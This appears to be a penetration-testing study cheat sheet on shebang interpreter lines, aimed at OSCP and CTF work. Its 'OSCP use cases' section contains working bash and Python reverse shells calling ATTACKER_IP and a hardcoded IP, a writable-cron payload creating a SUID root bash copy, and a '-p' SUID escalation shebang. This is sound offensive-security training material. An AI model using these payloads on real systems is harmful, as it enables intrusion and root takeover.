Shebangs — #! Interpreter Lines

Ctrl+F: #!/bin/bash · #!/usr/bin/env · python3 · cron script · chmod +x

The shebang (hash-bang) is the first line of an executable script. The kernel reads #! + path and runs that interpreter on the file.

#!/bin/bash
echo "Hello"
chmod +x script.sh
./script.sh

📌 Common shebangs (copy/paste)

Shell

ShebangInterpreterWhen to use
#!/bin/bashBashDefault on Kali — full bash features, arrays, [[ ]]
#!/bin/shPOSIX shell (often dash on Debian)Minimal — cron, old boxes, SUID scripts expecting /bin/sh
#!/usr/bin/bashBash (explicit path)Same as above — use when /bin/bash is symlink
#!/usr/bin/env bashBash via $PATHPortable — finds bash wherever it lives
#!/usr/bin/env shsh via $PATHPortable POSIX shell
#!/bin/bash
#!/bin/sh
#!/usr/bin/env bash
#!/usr/bin/env sh

Python

ShebangInterpreterWhen to use
#!/bin/python3Python 3Kali default — reverse shells, privesc one-liners saved as scripts
#!/bin/pythonPython 2 (legacy)Old targets — may be python2.7 only
#!/usr/bin/python3Python 3 (explicit)Same
#!/usr/bin/env python3Python 3 via PATHBest practice — works across distros
#!/usr/bin/env pythonpython → py2 or py3Ambiguous — prefer python3
#!/bin/python3
#!/bin/python
#!/usr/bin/env python3
#!/usr/bin/env python

Other interpreters (OSCP / CTF)

ShebangUse
#!/usr/bin/perlPerl scripts, GTFOBins
#!/usr/bin/env perlPortable Perl
#!/usr/bin/rubyRuby
#!/usr/bin/env rubyPortable Ruby
#!/usr/bin/phpPHP CLI scripts
#!/usr/bin/env phpPortable PHP
#!/usr/bin/awk -fAWK script file
#!/bin/nodeNode.js (rare on exam boxes)

📌 #!/usr/bin/env vs hardcoded path

StyleExampleProsCons
Hardcoded#!/bin/bashFast, explicitBreaks if binary not at that path
env#!/usr/bin/env python3Finds interpreter in $PATHSlightly slower; needs env

Prefer on Kali scripts you write:

#!/usr/bin/env bash
#!/usr/bin/env python3

On target (cron/SUID) — match what the box actually has:

which bash python3 sh
ls -la /bin/bash /usr/bin/python3
head -1 /etc/cron.daily/somejob

📌 OSCP use cases

Reverse shell script (upload + execute)

#!/bin/bash
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
#!/usr/bin/env python3
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.45.227",4444))
os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2)
subprocess.call(["/bin/bash","-i"])

Shell · Netcat

Writable cron / scheduled task

If cron runs a script you can edit — shebang must match an interpreter you control or that runs as root:

#!/bin/bash
cp /bin/bash /tmp/rootbash
chmod +s /tmp/rootbash

Linux > 📌 4) Cron Jobs

SUID binary calling a script

If a SUID program executes /path/to/script.sh, replace script and set shebang to a shell that gives you -p (privileged):

#!/bin/bash -p

Linux SUID section

No shebang — invoke interpreter directly

Shebang not required if you call the interpreter yourself:

bash script.sh
python3 script.py
sh -c 'id'

📌 Rules & gotchas

RuleDetail
First line onlyShebang must be line 1 — no blank lines or comments before it
No spaces#! immediately followed by path (#!/bin/bash not # !/bin/bash)
CRLF breaks LinuxWindows \r\nbad interpreter — use dos2unix script.sh
chmod +x requiredFor ./script.sh — not needed for bash script.sh
-p for SUID bash#!/bin/bash -p keeps effective UID on some privesc chains
Wrong interpreterpython vs python3 — always which on target first
# Fix Windows line endings
dos2unix script.sh
sed -i 's/\r$//' script.sh
 
# Make executable
chmod +x script.sh

📌 Find interpreters on target

which bash sh python python3 perl ruby php
ls -la /bin/bash /bin/sh /usr/bin/python3
cat /etc/shells
echo $SHELL

📌 Quick cheat sheet

#!/bin/bash
#!/bin/sh
#!/usr/bin/env bash
#!/usr/bin/env sh
 
#!/bin/python3
#!/bin/python
#!/usr/bin/env python3
 
#!/usr/bin/perl
#!/usr/bin/env perl
 
chmod +x script.sh && ./script.sh
bash script.sh          # shebang optional